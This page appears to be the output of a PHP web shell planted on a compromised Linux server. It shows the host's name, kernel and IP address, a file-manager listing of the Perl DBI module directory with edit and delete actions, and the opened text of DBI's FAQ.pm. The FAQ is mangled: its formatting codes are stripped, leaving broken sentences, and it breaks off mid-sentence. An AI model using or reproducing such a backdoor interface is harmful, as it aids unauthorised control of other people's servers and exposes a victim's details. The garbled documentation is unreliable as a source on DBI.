x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/perl5/vendor_perl/DBI/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
Const dir drwxr-xr-x 2023-04-05 00:01 R D
DBD dir drwxr-xr-x 2023-04-05 00:01 R D
Gofer dir drwxr-xr-x 2023-04-05 00:01 R D
ProfileDumper dir drwxr-xr-x 2023-04-05 00:01 R D
SQL dir drwxr-xr-x 2023-04-05 00:01 R D
Util dir drwxr-xr-x 2023-04-05 00:01 R D
Changes.pm 111.055 KB -rw-r--r-- 2014-06-10 01:06 R E G D
DBD.pm 122.994 KB -rw-r--r-- 2013-04-04 22:17 R E G D
FAQ.pm 34.378 KB -rw-r--r-- 2013-04-04 22:17 R E G D
Profile.pm 31.747 KB -rw-r--r-- 2013-04-04 22:17 R E G D
ProfileData.pm 19.633 KB -rw-r--r-- 2013-04-04 22:17 R E G D
ProfileDumper.pm 10.187 KB -rw-r--r-- 2013-04-04 22:17 R E G D
ProfileSubs.pm 1.18 KB -rw-r--r-- 2013-04-04 22:17 R E G D
ProxyServer.pm 25.84 KB -rw-r--r-- 2014-06-10 01:06 R E G D
PurePerl.pm 37.038 KB -rw-r--r-- 2013-04-04 22:17 R E G D
REQUEST EXIT
### ### $Id: FAQ.pm 14934 2011-09-14 10:02:25Z Tim $ ### ### DBI Frequently Asked Questions POD ### ### Copyright section reproduced from below. ### ### This document is Copyright (c)1994-2000 Alligator Descartes, with portions ### Copyright (c)1994-2000 their original authors. This module is released under ### the 'Artistic' license which you can find in the perl distribution. ### ### This document is Copyright (c)1997-2000 Alligator Descartes. All rights reserved. ### Permission to distribute this document, in full or in part, via email, ### Usenet, ftp archives or http is granted providing that no charges are involved, ### reasonable attempt is made to use the most current version and all credits ### and copyright notices are retained ( the I and I sections ). ### Requests for other distribution rights, including incorporation into ### commercial products, such as books, magazine articles or CD-ROMs should be ### made to Alligator Descartes. ### package DBI::FAQ; our $VERSION = sprintf("1.%06d", q$Revision: 14934 $ =~ /(\d+)/o); =head1 NAME DBI::FAQ -- The Frequently Asked Questions for the Perl5 Database Interface =for html
DBI Frequently Asked Questions v.0.38
Last updated: February 8th, 2000

=head1 SYNOPSIS perldoc DBI::FAQ =head1 VERSION This document is currently at version I<0.38>, as of I. That's B old. A newer FAQ can be found at L Neither this document nor that web site are actively maintained. Volunteers are welcome. =head1 DESCRIPTION This document serves to answer the most frequently asked questions on both the DBI Mailing Lists and personally to members of the DBI development team. =head1 Basic Information & Information Sources =head2 1.1 What is DBI, DBperl, Oraperl and *perl? To quote Tim Bunce, the architect and author of DBI: DBI is a database access Application Programming Interface (API) for the Perl Language. The DBI API Specification defines a set of functions, variables and conventions that provide a consistent database interface independent of the actual database being used. In simple language, the DBI interface allows users to access multiple database types transparently. So, if you connecting to an Oracle, Informix, mSQL, Sybase or whatever database, you don't need to know the underlying mechanics of the 3GL layer. The API defined by DBI will work on I these database types. A similar benefit is gained by the ability to connect to two I databases of different vendor within the one perl script, I, I want to read data from an Oracle database and insert it back into an Informix database all within one program. The DBI layer allows you to do this simply and powerfully. =for html Here's a diagram that demonstrates the principle:

[ DBI Architecture ]

I is the old name for the interface specification. It's usually now used to denote perlI<4> modules on database interfacing, such as, I, I, I and so on. These interfaces didn't have a standard API and are generally I supported. Here's a list of DBperl modules, their corresponding DBI counterparts and support information. I, the author's listed here generally I maintain the DBI module for the same database. These email addresses are unverified and should only be used for queries concerning the perl4 modules listed below. DBI driver queries should be directed to the I mailing list. Module Name Database Required Author DBI ----------- ----------------- ------ --- Sybperl Sybase Michael Peppler DBD::Sybase Oraperl Oracle 6 & 7 Kevin Stock DBD::Oracle Ingperl Ingres Tim Bunce & DBD::Ingres Ted Lemon Interperl Interbase Buzz Moschetti DBD::Interbase Uniperl Unify 5.0 Rick Wargo None Pgperl Postgres Igor Metz DBD::Pg Btreeperl NDBM John Conover SDBM? Ctreeperl C-Tree John Conover None Cisamperl Informix C-ISAM Mathias Koerber None Duaperl X.500 Directory Eric Douglas None User Agent However, some DBI modules have DBperl emulation layers, so, I comes with an Oraperl emulation layer, which allows you to run legacy oraperl scripts without modification. The emulation layer translates the oraperl API calls into DBI calls and executes them through the DBI switch. Here's a table of emulation layer information: Module Emulation Layer Status ------ --------------- ------ DBD::Oracle Oraperl Complete DBD::Informix Isqlperl Under development DBD::Ingres Ingperl Complete? DBD::Sybase Sybperl Working? ( Needs verification ) DBD::mSQL Msqlperl Experimentally released with DBD::mSQL-0.61 The I emulation is a special case. I is a perl5 driver for I databases, but does not conform to the DBI Specification. It's use is being deprecated in favour of I. I may be downloaded from CPAN I: http://www.perl.com/cgi-bin/cpan_mod?module=Msqlperl =head2 1.2. Where can I get it from? The Comprehensive Perl Archive Network resources should be used for retrieving up-to-date versions of the DBI and drivers. CPAN may be accessed I Tom Christiansen's splendid I program located at: http://www.perl.com/CPAN/ For more specific version information and exact URLs of drivers, please see the DBI drivers list and the DBI module pages which can be found on: http://dbi.perl.org/ This list is automatically generated on a nightly basis from CPAN and should be up-to-date. =head2 1.3. Where can I get more information? There are a few information sources on DBI. =over 4 =item I<"Programming the Perl DBI"> "Programming the Perl DBI" is the I book on the DBI written by Alligator Descartes and Tim Bunce and published by O'Reilly & Associates. The book was released on February 9th, 2000. The table of contents is: Preface 1. Introduction From Mainframes to Workstations Perl DBI in the Real World A Historical Interlude and Standing Stones 2. Basic Non-DBI Databases Storage Managers and Layers Query Languages and Data Functions Standing Stones and the Sample Database Flat-File Databases Putting Complex Data into Flat Files Concurrent Database Access and Locking DBM Files and the Berkeley Database Manager The MLDBM Module Summary 3. SQL and Relational Databases The Relational Database Methodology Datatypes and NULL Values Querying Data Modifying Data Within Tables Creating and Destroying Tables 4. Programming with the DBI DBI Architecture Handles Data Source Names Connection and Disconnection Error Handling Utility Methods and Functions 5. Interacting with the Database Issuing Simple Queries Executing Non-SELECT Statements Binding Parameters to Statements Binding Output Columns do() Versus prepare() Atomic and Batch Fetching 6. Advanced DBI Handle Attributes and Metadata Handling LONG/LOB Data Transactions, Locking, and Isolation 7. ODBC and the DBI ODBC -- Embraced and Extended DBI -- Thrashed and Mutated The Nuts and Bolts of ODBC ODBC from Perl The Marriage of DBI and ODBC Questions and Choices Moving Between Win32::ODBC and the DBI And What About ADO? 8. DBI Shell and Database Proxying dbish -- The DBI Shell Database Proxying A. DBI Specification B. Driver and Database Characteristics C. ASLaN Sacred Site Charter Index The book should be available from all good bookshops and can be ordered online either via O'Reilly & Associates http://www.oreilly.com/catalog/perldbi or Amazon http://www.amazon.com/exec/obidos/ASIN/1565926994/dbi =item I Is are chunks of documentation usually embedded within perl programs that document the code ``I'', providing a useful resource for programmers and users of modules. POD for DBI and drivers is beginning to become more commonplace, and documentation for these modules can be read with the C program included with Perl. =over 4 =item The DBI Specification The POD for the DBI Specification can be read with the: perldoc DBI command. The Specification also forms Appendix A of "Programming the Perl DBI". =item Oraperl Users of the Oraperl emulation layer bundled with I, may read up on how to program with the Oraperl interface by typing: perldoc Oraperl This will produce an updated copy of the original oraperl man page written by Kevin Stock for perl4. The oraperl API is fully listed and described there. =item Drivers Users of the DBD modules may read about some of the private functions and quirks of that driver by typing: perldoc For example, the I driver is bundled with driver-specific documentation that can be accessed by typing perldoc DBD::mSQL =item Frequently Asked Questions This document, the I is also available as POD documentation! You can read this on your own system by typing: perldoc DBI::FAQ This may be more convenient to persons not permanently, or conveniently, connected to the Internet. The I module should be downloaded and installed for the more up-to-date version. The version of I shipped with the C module may be slightly out of date. =item POD in general Information on writing POD, and on the philosophy of POD in general, can be read by typing: perldoc perlpod Users with the Tk module installed may be interested to learn there is a Tk-based POD reader available called C, which formats POD in a convenient and readable way. This is available I CPAN as the module called I and is highly recommended. =back =item I The driver summaries that were produced for Appendix B of "Programming the Perl DBI" are available online at: http://dbi.perl.org/ in the driver information table. These summaries contain standardised information on each driver and database which should aid you in selecting a database to use. It will also inform you quickly of any issues within drivers or whether a driver is not fully compliant with the DBI Specification. =item I http://dbi.perl.org/tidbits There are a series of occasional rambles from various people on the DBI mailing lists who, in an attempt to clear up a simple point, end up drafting fairly comprehensive documents. These are quite often varying in quality, but do provide some insights into the workings of the interfaces. =item I A list of articles discussing the DBI can be found on the DBI WWW page at: http://dbi.perl.org/ These articles are of varying quality and age, from the original Perl Journal article written by Alligator and Tim, to more recent debacles published online from about.com. =item I The I files included with each driver occasionally contains some useful information ( no, really! ) that may be pertinent to the user. Please read them. It makes our worthless existences more bearable. These can all be read from the main DBI WWW page at: http://dbi.perl.org/ =item I There are three mailing lists for DBI: dbi-announce@perl.org -- for announcements, very low traffic dbi-users@perl.org -- general user support dbi-dev@perl.org -- for driver developers (no user support) For information on how to subscribe, set digest mode etc, and unsubscribe, send an email message (the content will be ignored) to: dbi-announce-help@perl.org dbi-users-help@perl.org dbi-dev-help@perl.org =item I =over 4 =item I http://outside.organic.com/mail-archives/dbi-users/ Searchable hypermail archives of the three mailing lists, and some of the much older traffic have been set up for users to browse. =item I http://www.rosat.mpe-garching.mpg.de/mailing-lists/PerlDB-Interest As per the US archive above. =back =back =head1 Compilation Problems =head2 2.1. Compilation problems or "It fails the test!" First off, consult the README for that driver in case there is useful information about the problem. It may be a known problem for your given architecture and operating system or database. You can check the README files for each driver in advance online at: http://dbi.perl.org/ If it's a known problem, you'll probably have to wait till it gets fixed. If you're I needing it fixed, try the following: =over 4 =item I This technique is generally I recommended to the faint-hearted. If you do think you have managed to fix it, then, send a patch file ( context diff ) to the author with an explanation of: =over 4 =item * What the problem was, and test cases, if possible. =item * What you needed to do to fix it. Please make sure you mention everything. =item * Platform information, database version, perl version, module version and DBI version. =back =item I Do I whinge! Please email the address listed in the WWW pages for whichever driver you are having problems with. Do I directly email the author at a known address unless it corresponds with the one listed. We tend to have real jobs to do, and we do read the mailing lists for problems. Besides, we may not have access to > and couldn't be of any assistance anyway! Apologies for sounding harsh, but that's the way of it! However, you might catch one of these creative genii at 3am when we're doing this sort of stuff anyway, and get a patch within 5 minutes. The atmosphere in the DBI circle is that we I appreciate the users' problems, since we work in similar environments. If you are planning to email the author, please furnish as much information as possible, I: =over 4 =item * I the information asked for in the README file in the problematic module. And we mean I of it. We don't put lines like that in documentation for the good of our health, or to meet obscure README file standards of length. =item * If you have a core dump, try the I module for generating a stack trace from the core dump. Send us that too. I can be found on CPAN at: http://www.perl.com/cgi-bin/cpan_mod?module=Devel::CoreStack =item * Module versions, perl version, test cases, operating system versions and I. =back Remember, the more information you send us, the quicker we can track problems down. If you send us no useful information, expect nothing back. Finally, please be aware that some authors, including Tim Bunce, specifically request that you do I mail them directly. Please respect their wishes and use the email addresses listed in the appropriate module C file. =item I It's usually a fairly intelligent idea to I the mailing list anyway with problems. The authors all read the lists, so you lose nothing by mailing th